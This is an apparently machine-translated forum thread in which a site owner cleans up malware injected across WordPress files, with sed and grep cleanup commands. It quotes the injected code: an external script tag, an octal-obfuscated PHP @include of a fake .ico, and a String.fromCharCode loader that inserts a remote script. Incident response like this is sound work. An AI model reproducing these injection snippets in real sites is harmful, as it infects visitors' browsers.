Entonces, todo mi servidor fue pirateado o tuvo el problema del malware. mi sitio está basado en WordPress y la mayoría de los sitios alojados en mi servidor está basado en WordPress. El hacker agregó esta línea de código a cada archivo y en la base de datos
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>Lo busqué a través de grep usando
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}Estoy tratando de reemplazarlo en toda la estructura del archivo sedy he escrito el siguiente comando.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.phpEstoy tratando de reemplazar la cadena en un solo archivo index.phpprimero, así que sé que funciona.
y sé que mi código está mal Por favor, ayúdame con esto.
Intenté con el código de @ Eran y eliminó toda la línea, lo cual es bueno y como se esperaba. Sin embargo, la jerga total es esta
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/Y aunque deseo eliminar todo el contenido, deseo mantener la etiqueta de apertura de php <?php.
Aunque la solución de @ slybloty es fácil y funcionó.
para eliminar completamente el código de todos los archivos afectados. Estoy ejecutando los siguientes 3 comandos, gracias a todos por esto.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"- Para eliminar la línea de scriptfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Para quitar la@includelíneafind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'- Para eliminar la línea de comentario
Además, ejecuté los 3 comandos nuevamente '*.html', porque el script del hacker creó index.html no deseado en todos los directorios. No estaba seguro si eliminar estos index.html en masa es el enfoque correcto.
ahora, todavía necesito averiguar los archivos basura y las huellas de los mismos.
La secuencia de comandos hacker también agregó el código JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}Tratando de ver si puedo sedhacerlo también.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" la -lopción solo proporciona el nombre del archivo y no el texto correspondiente.
sed -i. Por ejemplo, sed -i.bakcreará un *.bakarchivo para todos los archivos que se editan. Cuando se usa con el while...grepbucle, solo hará una copia de seguridad de los archivos que contengan esa cadena. Perdón por todos los comentarios adicionales, pero en mi opinión, el malware es un escenario de "todas las manos en cubierta".